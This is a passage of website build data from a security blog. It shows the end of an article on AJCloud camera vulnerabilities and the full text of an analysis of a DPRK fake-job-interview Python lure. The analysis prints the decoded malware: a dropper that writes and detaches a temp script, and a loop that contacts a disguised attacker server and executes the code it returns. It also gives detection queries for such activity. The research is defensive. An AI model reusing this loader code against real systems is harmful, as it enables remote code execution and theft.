immutable.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"mitigations\",children:\"Mitigations\"}),`\n`,(0,t.jsx)(e.p,{children:\"Certain steps can be taken in order to reduce the attack surface and limit potential adverse effects in the event of an attack, though they vary in their effectiveness.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Segmenting Wi-Fi cameras and other IoT devices off from the rest of your network is a highly recommended countermeasure which will prevent attackers from pivoting laterally to more critical systems. However, this approach does not prevent an attacker from obtaining sensitive user data through exploiting the access control vulnerability we discovered in the AJCloud platform. Also, considering the ease in which we were able to demonstrate how cameras could be accessed and manipulated remotely via P2P, any device connected to the AJCloud platform is still at significant risk of compromise regardless of its local network configuration.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Restricting all network communications to and from these cameras would not be feasible due to how essential connectivity to the AJCloud platform is to their operation. As previously mentioned, the devices will simply not operate if they are unable to connect to various API endpoints upon startup.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A viable approach could be restricting communications beyond the initial startup routine. However, this would prevent remote access and control via mobile and desktop apps, which would defeat the entire purpose of these cameras in the first place. For further research in this area, please refer to \\u201C\",(0,t.jsx)(e.a,{href:\"https://petsymposium.org/popets/2021/popets-2021-0075.pdf\",rel:\"nofollow\",children:\"Blocking Without Breaking: Identification and Mitigation of Non-Essential IoT Traffic\"}),\"\\u201D, which explored this approach more in-depth across a myriad of IoT devices and vendors.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The best approach to securing any Wi-Fi camera, regardless of vendor, while maintaining core functionality would be to flash it with alternative open source firmware such as \",(0,t.jsx)(e.a,{href:\"https://openipc.org\",rel:\"nofollow\",children:\"OpenIPC\"}),\" or \",(0,t.jsx)(e.a,{href:\"https://thingino.com\",rel:\"nofollow\",children:\"thingino\"}),\". Switching to open source firmware avoids the headaches associated with forced connectivity to vendor cloud platforms by providing users with fine grain control of device configuration and remote network accessibility. Open access to the firmware source helps to ensure that critical flaws and vulnerabilities are quickly identified and patched by diligent project contributors.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our research revealed several critical vulnerabilities that span all aspects of cameras operating AJCloud firmware which are connected to their platform. Significant flaws in access control management on their platform and the PPPP peer protocol provides an expansive attack surface which affects millions of active devices across the world. Exploiting these flaws and vulnerabilities leads to the exposure of sensitive user data and provides attackers with full remote control of any camera connected to the AJCloud platform. Furthermore, a built-in P2P command, which intentionally provides arbitrary write access to a key configuration file, can be leveraged to either permanently disable cameras or facilitate remote code execution through triggering a buffer overflow.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Please visit our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/camera-hacks\",rel:\"nofollow\",children:\"GitHub repository\"}),\" for custom tools and scripts we have built along with data and notes we have captured which we felt would provide the most benefit to the security research community.\"]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(c,i)})):c(i)}var A=k;return v(P);})();\n;return Component;"},"_id":"articles/storm-on-the-horizon.mdx","_raw":{"sourceFilePath":"articles/storm-on-the-horizon.mdx","sourceFileName":"storm-on-the-horizon.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/storm-on-the-horizon"},"type":"Article","imageUrl":"/assets/images/storm-on-the-horizon/storm-on-the-horizon.jpg","readingTime":"27 min read","series":"","url":"/storm-on-the-horizon","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"AJCloud: A Brief Introduction","href":"#ajcloud-a-brief-introduction"},{"level":2,"title":"Initial Vulnerability Research Efforts","href":"#initial-vulnerability-research-efforts"},{"level":2,"title":"Initial Hardware Hacking","href":"#initial-hardware-hacking"},{"level":2,"title":"Wansview Cloud for Windows","href":"#wansview-cloud-for-windows"},{"level":2,"title":"Exploring the network communications","href":"#exploring-the-network-communications"},{"level":2,"title":"Advanced Hardware Hacking","href":"#advanced-hardware-hacking"},{"level":2,"title":"Building a P2P Client","href":"#building-a-p2p-client"},{"level":2,"title":"Impact","href":"#impact"},{"level":2,"title":"What did the vendors do right?","href":"#what-did-the-vendors-do-right"},{"level":2,"title":"What did the vendors do wrong?","href":"#what-did-the-vendors-do-wrong"},{"level":2,"title":"Mitigations","href":"#mitigations"},{"level":2,"title":"Key Takeaways","href":"#key-takeaways"}],"author":[{"title":"Mark Mager","slug":"mark-mager","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var M=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},m=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=g(e,a))||s.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(M(t)):{},m(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003em(o({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(u()),k={title:\"Mark Mager\",slug:\"mark-mager\"};function i(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(i,t)})):i(t)}var D=C;return p(F);})();\n;return Component;"},"_id":"authors/mark-mager.mdx","_raw":{"sourceFilePath":"authors/mark-mager.mdx","sourceFileName":"mark-mager.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mark-mager"},"type":"Author","imageUrl":"","url":"/authors/mark-mager"},{"title":"Eric Forte","slug":"eric-forte","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(c=f(e,o))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),F=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=l((h,i)=\u003e{i.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eD,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Eric Forte\",slug:\"eric-forte\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return F(X);})();\n;return Component;"},"_id":"authors/eric-forte.mdx","_raw":{"sourceFilePath":"authors/eric-forte.mdx","sourceFileName":"eric-forte.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/eric-forte"},"type":"Author","imageUrl":"","url":"/authors/eric-forte"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Perspectives","slug":"perspectives","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of f(e))!g.call(t,s)\u0026\u0026s!==n\u0026\u0026o(t,s,{get:()=\u003ee[s],enumerable:!(a=p(e,s))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},c(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(o({},\"__esModule\",{value:!0}),t);var u=j((b,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ev});var r=d(u()),v={title:\"Perspectives\",slug:\"perspectives\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/perspectives.mdx","_raw":{"sourceFilePath":"categories/perspectives.mdx","sourceFileName":"perspectives.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/perspectives"},"type":"Category","url":"/categories/perspectives"}]},{"title":"Code of Conduct: DPRK’s Python-fueled intrusions into secured networks","slug":"dprk-code-of-conduct","date":"2024-09-18","description":"Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.","image":"dprk-code-of-conduct.jpg","tags":["python","dprk"],"body":{"raw":"\n## Preamble\n\nFew threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.\n\nThis versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.\n\nThis publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on [research published](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages) by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.\n\n## Key takeaways\n\n* The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.\n* The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.\n* These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.\n* The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files\n\n## RookeryCapital_PythonTest.zip \n\nThis sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.\n\nUsing encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.\n\nWe'll analyze this Python application line by line, uncovering how it:\n\n* Establishes a connection to a malicious server\n* Executes hidden commands via remote code execution (RCE)\n* Uses common obfuscation techniques to fly under the radar\n* Embeds persistent retry mechanisms to ensure successful communication\n\n\n\n### PasswordManager.py\n\nThis “Python Challenge” is provided via a `.zip` file containing a Python application called “PasswordManager”. This application primarily consists of a main script, `PasswordManager.py`, and two Python modules, `Pyperclip` and `Pyrebase`. \n\n\n\nExamining the `README.md` file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:\n\n\n\nThis was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.\n\nThe main `PasswordManager.py` file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (`Pyperclip` and `Pyrebase`) into this main script. \n\n#### Pyperclip module\n\nThe `Pyperclip` module has two files, `__init__.py` and `__main__.py`.\n\n\n\nIn Python, modules often consist of multiple files, with two important ones being `__init__.py` and `__main__.py`. The `__init__.py` file initializes a Python package, allowing it to function when imported, while the `__main__.py` file allows the module to be run as a standalone program. \n\n##### __init__.py\n\n`__init__.py` is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., `pbcopy` for macOS, `xclip` for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5). \n\nThe imports reveal potentially interesting or suspicious functionality from libraries such as `base64`, `codecs`, `subprocess`, and `tempfile`. The `base64` module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with `codecs`, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.\n\nThe presence of the `subprocess` module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.\n\nThe inclusion of the `tempfile module` is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.\n\n```\nimport contextlib\nimport ctypes\nimport os\nimport platform\nimport subprocess\nimport sys\nimport time\nimport warnings\nimport requests\nimport datetime\nimport platform\nimport codecs\nimport base64\nimport tempfile\nimport subprocess\nimport os\n```\n\n**__init__.py imports**\n\nAnalyzing the script a large base64 encoded blob assigned to the variable `req_self` quickly stands out. \n\n```\nreq_self = \"aW1wb3J0IHN0….Y29udGludWUNCg==\"\n```\n\nDecoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code. \n\n##### Obfuscated Python Script\n\nThe script imports several standard libraries (e.g., `requests`, `random`, `platform`), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.\n\n```\nimport string\nimport random\nimport requests\nimport platform\nfrom time import sleep\nimport base64\nimport os\nimport codecs\n```\n\n**Encoded Python script imports**\n\nThe script contains two functions named `co` and `rand_n`. \n\nThe `co` function operates as a helper function. This function checks the current operating system (`osn`). It uses the `codecs.decode` function with ROT13 encoding to decode the string `Jvaqbjf`, which results in `Windows`. If the operating system is Windows, it returns `0`; otherwise, it returns `1`.\n\n```\ndef co(osn):\n if osn == codecs.decode('Jvaqbjf', 'rot13'):\n return 0\n else:\n return 1\n```\n\n**`co` function within encoded Python script**\n\nDecoding ROT13 can easily be done on the macOS or Linux CLI or with the [ROT13 CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)\u0026input=SnZhcWJqZg\u0026oeol=CRLF).\n\n```\n$ echo \"Jvaqbjf\" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'\nWindows\n```\n\nThe `rand_n` function generates an 8-digit pseudorandom number from the string `123456789`. This is likely used as an identifier (`uid`) in further communication with the remote server.\n\n```\ndef rand_n():\n _LENGTH = 8\n str_pool = \"123456789\"\n result = \"\"\n for i in range(_LENGTH):\n result += random.choice(str_pool)\n return result\n```\n\n**`rand_n` function within encoded Python script**\n\nFollowing the function declarations, the script defines a set of variables with hardcoded values it will use.\n\n```\nuid = rand_n()\nf_run = \"\"\noi = platform.system()\nurl = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')\nheaders = {\"Content-Type\": \"application/json; charset=utf-8\"}\ndata = codecs.decode('Nznmba.pbz', 'rot13') + uid + \"pfrr\" + str(co(oi))\n```\n\n**Encoded Python script variables**\n\n* `uid`: Random identifier generated using `rand_n()`\n* `oi`: The operating system platform\n* `url`: After decoding using ROT13, this resolves to a URL for a malicious server ([https://akamaitechnologies[.]online](https://akamaitechnologies[.]online)). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.\n* `data`: This is the data payload being sent to the server. It includes a decoded string (`Amazon[.]com`), the random uid, and the result of `co(oi)` which checks if the OS is Windows.\n\nThe last part of the script is the main while loop. \n\n```\nwhile True:\n try:\n response = requests.post(url, headers=headers, data=data)\n if response.status_code != 200:\n sleep(60)\n continue\n else:\n res_str = response.text\n if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) \u003e 15:\n res = response.text\n borg = res[10:]\n dec_res = base64.b64decode(borg).decode('utf-8')\n\n globals()['pu_1'] = uid\n globals()['pu_2'] = url\n exec(compile(dec_res, '', 'exec'), globals())\n sleep(1)\n break\n else:\n sleep(20)\n pass\n\n except:\n sleep(60)\n continue\n```\n\n**Encoded Python script main while loop**\n\nThe first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.\n\nElse, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using `exec(compile(dec_res, '', 'exec'), globals())`. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.\n\nTowards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.\n\nNow that we understand the purpose of the encoded Python script let's go back to the `__inity__.py` script and break down the function that executes the base64-encoded section. \n\n##### __inity__.py\n\nBack within the `__inity__.py` script we can look for any other reference to the `req_self` variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as `cert_acc`. \n\n```\ndef cert_acc():\n ct_type = platform.system()\n l_p = tempfile.gettempdir()\n\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n\n request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\ncert_acc()\n```\n\n```\nct_type = platform.system()\n```\n\nThis variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the `platform.system()` function. The value is stored in the `ct_type` variable.\n\n```\nl_p = tempfile.gettempdir()\n```\n\nThis variable calls the `tempfile.gettempdir() function`, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to `l_p`.\n\nThe `if-else` block takes advantage of the codecs library decode function using ROT13 to decode the string `Jvaqbjf`, which translates to `Windows`. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be `\\eronfr.gzc`, `\\rebase.tmp` after decoding) to the temporary directory path `l_p`. It then constructs a command `header_ops`, which likely combines the decoded `push_opr` variable (also using ROT13) with the path.\n\nIf the system is not Windows, it appends a Unix-like file path `/eronfr.gzc` (`/rebase.tmp` after decoding) and similarly constructs a command using `push_ops`. This part of the code is designed to run different payloads or commands depending on the operating system.\n\n```\nif ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n```\n\nThe next several statements, starting with `request_`, serve to write the Base64-encoded Python script we have already analyzed to` disk in the temporary directory. This code opens a new file in the temporary directory (`l_p`), which was previously set depending on the system type. The variable `req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.\n\n```\nrequest_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n```\n\nThe function's final `try` block facilitates the execution of the encoded Python script.\n\nIf the system type is Windows, the code attempts to execute the file (constructed in `header_ops`) using the `subprocess.Popen function`. The `DETACHED_PROCESS` flag ensures that the process runs independently of the parent process, making it harder to track.\n\nIf the system is not Windows, it runs the file using a different execution method (`subprocess.Popen` with `shell=True`), which is more common for Unix-like systems (Linux/macOS). The `preexec_fn=os.setpgrp` makes the process immune to terminal interrupts, allowing it to run in the background.\n\n```\ntry:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\n```\n\nThe `cert_acc` function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.\n\nThe script within the `Pyperclip` package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine. \n\n#### Campaign intersections\n\nWhen we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild. \n\nThis lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “[CovertCatch](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists).”\n\nThe next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “[KandyKorn](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)” that targeted CryptoCurrency developers and engineers.\n\n## Detection, Hunting and Mitigation Strategies \n\nDetecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness. \n\nThe best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks. \n\nRegarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well. \n\n### [Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection\n\n```\nsequence by process.parent.entity_id with maxspan=3s\n[process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"sh\", \"zsh\", \"bash\") and process.args == \"-c\" and process.args : \"python*\"]\n[network where event.type == \"start\"]\n```\n\n\n\nThis rule looks for the specific behavior exhibited when the `__init__.py` sample writes the obfuscated Python script to disk and utilizes the `subprocess.Popen` method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands. \n\n### [Hunt] Python Executable File Creation in Temporary Directory\n\n```\nfile where event.type == \"modification\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")\n and (process.name : \"python*\" or Effective_process.name : \"python*\") and file.path : (\"/private/tmp/*\", \"/tmp/*\")\n```\n\nIf the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python. \n\n### [Hunt] Interactive Shell Execution via Python\n\n```\nprocess where host.os.type == \"macos\" and event.type == \"start\" and event.action == \"exec\" \nand process.parent.name : \"python*\" and process.name : (\"sh\", \"zsh\", \"bash\")\n and process.args == \"-i\" and process.args_count == 2\n```\n\nThe threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.\n\n### [Hunt] Suspicious Python Child Process Execution\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"screencapture\", \"security\", \"csrutil\", \"dscl\", \"mdfind\", \"nscurl\", \"sqlite3\", \"tclsh\", \"xattr\")\n```\n\nThe threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.\n\n## Conclusion and Future Trends\n\nAs we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.\n\nTheir use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.\n\nOur deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.\n\nAs state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.\n\nAs we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.\n\n\n### Resources\n\n* [Fake recruiter coding tests target devs with malicious Python packages](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages)\n* [Threat Assessment: North Korean Threat Groups](https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/)\n* [DeFied Expectations — Examining Web3 Heists | Google Cloud Blog](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists)\n* [Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)\n","code":"var Component=(()=\u003e{var l=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var i in e)s(n,i,{get:e[i],enumerable:!0})},c=(n,e,i,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!g.call(n,o)\u0026\u0026o!==i\u0026\u0026s(n,o,{get:()=\u003ee[o],enumerable:!(r=p(e,o))||r.enumerable});return n};var b=(n,e,i)=\u003e(i=n!=null?l(m(n)):{},c(e||!n||!n.__esModule?s(i,\"default\",{value:n,enumerable:!0}):i,n)),w=n=\u003ec(s({},\"__esModule\",{value:!0}),n);var d=f((k,a)=\u003e{a.exports=_jsx_runtime});var P={};y(P,{default:()=\u003ex,frontmatter:()=\u003ev});var t=b(d()),v={title:\"Code of Conduct: DPRK\\u2019s Python-fueled intrusions into secured networks\",slug:\"dprk-code-of-conduct\",date:\"2024-09-18\",description:\"Investigating the DPRK\\u2019s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.\",author:[{slug:\"colson-wilhoit\"}],image:\"dprk-code-of-conduct.jpg\",category:[{slug:\"malware-analysis\"},{slug:\"attack-pattern\"},{slug:\"security-research\"}],tags:[\"python\",\"dprk\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",img:\"img\",h3:\"h3\",code:\"code\",h4:\"h4\",h5:\"h5\",strong:\"strong\",pre:\"pre\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This versatile programming language, prized for its accessibility and power, 